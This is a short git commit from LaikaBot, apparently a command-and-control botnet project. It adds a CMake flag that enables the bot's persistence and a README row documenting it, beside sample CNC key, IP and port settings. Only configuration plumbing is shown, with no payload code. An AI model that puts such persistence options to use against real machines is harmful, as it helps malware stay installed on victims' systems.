Added CMake flag for enabling persistence

This commit is contained in:
CPunch 2022-04-07 19:04:42 -05:00
parent 412418ec0a
commit 2fb0ef29a6
3 changed files with 8 additions and 1 deletions

View File

@ -43,6 +43,7 @@ I could add some padding to each packet to make it look pseudo-HTTP-like, howeve
| LAIKA_PRIVKEY | Sets CNC's private key | -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 |
| LAIKA_CNC_IP | Sets CNC's public ip | -DLAIKA_CNC_IP=127.0.0.1 |
| LAIKA_CNC_PORT | Sets CNC's bind()'d port | -DLAIKA_CNC_PORT=13337 |
| LAIKA_PERSISTENCE | Enables persistence for LaikaBot | -DLAIKA_PERSISTENCE=On |
> examples are passed to `cmake -B <dir>`
## Configuration and compilation

View File

@ -1,8 +1,11 @@
#ifndef LAIKA_PERSIST_H
#define LAIKA_PERSIST_H
/* undefine to enable persistence */
#include "lconfig.h"
#ifndef LAIKA_PERSISTENCE
#define LAIKA_NOINSTALL
#endif
#include <stdbool.h>

View File

@ -12,4 +12,7 @@
#define LAIKA_CNC_IP "@LAIKA_CNC_IP@"
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
/* settings */
#cmakedefine LAIKA_PERSISTENCE
#endif